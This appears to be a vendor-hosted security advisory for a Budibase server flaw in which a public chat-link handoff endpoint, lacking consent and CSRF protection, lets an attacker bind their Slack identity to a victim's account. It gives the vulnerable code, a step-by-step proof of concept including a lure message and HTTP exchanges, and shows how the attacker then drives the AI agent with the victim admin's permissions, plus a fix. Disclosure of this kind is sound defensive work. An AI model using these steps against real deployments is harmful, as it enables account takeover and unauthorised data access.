GHSA-v7j5-vc4m-723w is a high-severity (CVSS 7.3) CWE-284 vulnerability in @budibase/server. O3 Security confirms whether GHSA-v7j5-vc4m-723w is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Budibase has an Account Impersonation Issue — Chat Identity Link Hijacking via Missing Consent & CSRF
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-v7j5-vc4m-723w.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-v7j5-vc4m-723w plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@budibase/servernpmDescription
Title
Chat Identity Link Hijacking — Attacker Can Silently Map Their Slack/Discord Identity to Any Authenticated Budibase User's Account
Severity
High — CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N = 7.3
Affected Product
- Product: Budibase
- Version: 3.37.2 (introduced in this version)
- Component:
packages/server/src/api/controllers/ai/chatIdentityLinks.ts - Endpoint:
GET /api/chat-links/:instance/:token/handoff
Vulnerability Type
- CWE-352: Cross-Site Request Forgery
- CWE-284: Improper Access Control
Vulnerability Description
GET /api/chat-links/:instance/:token/handoff is a public endpoint (no auth required) that performs a permanent, state-changing operation: it binds an external chat identity (Slack/Discord/MS Teams) to an authenticated Budibase user account, with no consent UI and no CSRF protection.
The session token in the URL is created by the attacker (from their own /link slash command) and embeds the attacker's externalUserId. When an authenticated Budibase victim visits the URL, their account is silently and permanently linked to the attacker's Slack/Discord identity. The server responds with "Authentication succeeded." — no indication of what was linked.
Route Registration
// packages/server/src/api/routes/chat.ts:22
router.get(
"/api/chat-links/:instance/:token/handoff",
controller.handoffChatLinkSession // registered in publicRoutes — zero auth middleware
)
Vulnerable Controller (full function)
// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110
export async function handoffChatLinkSession(
ctx: UserCtx<void, string, { instance: string; token: string }>
) {
const token = resolveToken(ctx.params.token)
const session = await sdk.ai.chatIdentityLinks.getChatIdentityLinkSession(token)
if (!session) {
throw new HTTPError("Link token is invalid or has expired", 400)
}
assertSessionMatchesInstance({ workspaceId: session.workspaceId, instance: ctx.params.instance })
if (!ctx.isAuthenticated) {
// Unauthenticated: set return URL cookie, redirect to login
// After login, same URL is visited again → attack completes silently
utils.setCookie(ctx,
`/api/chat-links/${ctx.params.instance}/${token}/handoff`,
"budibase:returnurl",
{ sign: false } // ← unsigned cookie, but not an open redirect
)
ctx.redirect("/builder/auth/login")
return
}
const currentGlobalUserId = getCurrentGlobalUserId(ctx)
const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)
// ↓↓↓ THE VULNERABLE WRITE — no consent check, no CSRF token ↓↓↓
await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({
provider: consumedSession.provider,
externalUserId: consumedSession.externalUserId, // ← ATTACKER's Slack ID
externalUserName: consumedSession.externalUserName,
teamId: consumedSession.teamId,
globalUserId: currentGlobalUserId, // ← VICTIM's Budibase user ID
linkedBy: currentGlobalUserId,
})
ctx.type = "text/html"
ctx.body = renderLinkSuccessPage() // ← "Authentication succeeded." — no disclosure to user
}
--
Step 1 — Attacker triggers /link in Slack
Attacker types /link to the Budibase Slack bot. Budibase server creates a Redis session:
Redis key: chatIdentityLinkSession:tok_xxxxxxxxxxxxxxxx
Redis value (exact structure from ChatIdentityLinkSession interface):
{
"token": "tok_xxxxxxxxxxxxxxxx",
"tenantId": "acme",
"workspaceId": "ws_abc123",
"provider": "slack",
"externalUserId": "UA12345678",
"externalUserName": "attacker",
"teamId": "T_ACME_SLACK",
"createdAt": "2026-05-02T10:00:00.000Z",
"expiresAt": "2026-05-02T10:10:00.000Z"
}
Slack DM sent privately to attacker:
Link your Slack account to continue chatting with this agent.
https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff
Key observation: This URL embeds the attacker's own externalUserId inside the token. The attacker has full control over which identity gets linked.
Step 2 — Attacker forwards URL to victim
Attacker posts in the company Slack:
@admin please click this to connect your Budibase account for AI agent access:
https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff
Step 3 — Victim clicks link (authenticated)
HTTP Request (victim's browser):
GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com
Cookie: budibase:session=VICTIM_SESSION
HTTP Response:
HTTP/1.1 200 OK
Content-Type: text/html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Authentication succeeded</title>
</head>
<body>
<p>Authentication succeeded.</p>
<script>
if (window.opener && !window.opener.closed) {
try { window.opener.focus(); window.close() } catch (error) {}
}
</script>
</body>
</html>
The victim sees "Authentication succeeded." with no mention of Slack, no mention of attacker, no mention of what capabilities were granted.
CouchDB global-db document written immediately after (exact structure from upsertChatIdentityLink):
{
"_id": "chatidentitylink_acme_slack_T_ACME_SLACK_UA12345678",
"tenantId": "acme",
"provider": "slack",
"externalUserId": "UA12345678",
"globalUserId": "ro_global_us_VICTIM_ADMIN_ID",
"linkedAt": "2026-05-02T10:00:42.000Z",
"linkedBy": "ro_global_us_VICTIM_ADMIN_ID",
"externalUserName": "attacker",
"teamId": "T_ACME_SLACK",
"createdAt": "2026-05-02T10:00:42.000Z",
"updatedAt": "2026-05-02T10:00:42.000Z"
}
The mapping is now permanent. externalUserId = UA12345678 (attacker) → globalUserId = ro_global_us_VICTIM_ADMIN_ID (victim).
Step 4 — Attacker impersonates victim via AI agent
Attacker sends any message to the Budibase Slack bot from their own account (UA12345678).
The chat handler resolves the identity:
// packages/server/src/api/controllers/webhook/chatHandler.ts:421
const existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({
provider: AgentChannelProvider.SLACK,
externalUserId: "UA12345678", // ← attacker's Slack ID
teamId: "T_ACME_SLACK",
})
// existingLink.globalUserId = "ro_global_us_VICTIM_ADMIN_ID"
const linkedUser = await getGlobalUser("ro_global_us_VICTIM_ADMIN_ID")
// All agent tool calls now execute with victim admin's permissions
The attacker can now ask the agent:
"Show me all rows in the Customers table" "Trigger the 'Send Invoice' automation for customer ID 42" "What files are in the knowledge base?"
Each request runs with the victim admin's identity and permissions. The victim has no indication this is happening.
Step 3b — Variant: Victim Not Yet Authenticated
If the victim is not currently logged in when they click the URL:
HTTP Request:
GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com
HTTP Response:
HTTP/1.1 302 Found
Location: /builder/auth/login
Set-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws_abc123%2Ftok_xxxxxxxxxxxxxxxx%2Fhandoff; Path=/
After the victim logs in, the browser follows the return URL and the attack completes identically to Step 3.
Remediation
Minimum Fix — Add Consent Page
Convert the handoff to a two-step flow:
GET /api/chat-links/:instance/:token/handoff
→ Show consent page: "You are linking your Budibase account to
[externalUserName]'s Slack identity ([provider]).
This allows them to interact with AI agents as you. [Confirm] [Cancel]"
POST /api/chat-links/:instance/:token/handoff (with CSRF token)
→ Perform the upsertChatIdentityLink() write
Moving the write to POST removes it from publicRoutes, making Budibase's existing CSRF middleware apply automatically.
Credits, Vishal Kumar B https://github.com/VishaaLlKumaaRr
References
packages/server/src/api/routes/chat.ts:22— public route registrationpackages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110— full vulnerable controllerpackages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:135–165— session creation (embeds attacker's externalUserId)packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:202–247— upsertChatIdentityLink (permanent write)packages/server/src/api/controllers/webhook/chatHandler.ts:421— identity resolution during agent message handlingpackages/server/src/ai/tools/budibase/automations.ts— automation trigger capabilitypackages/server/src/ai/tools/budibase/rows.ts— row read/write capabilitypackages/types/src/sdk/chatIdentityLinks.ts— session + link type definitions- CWE-352: Cross-Site Request Forgery
- CWE-284: Improper Access Control
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @budibase/server | all versions | 3.39.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @budibase/server to 3.39.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v7j5-vc4m-723w is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-v7j5-vc4m-723w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-v7j5-vc4m-723w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-v7j5-vc4m-723w in your dependencies?
O3 detects GHSA-v7j5-vc4m-723w across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.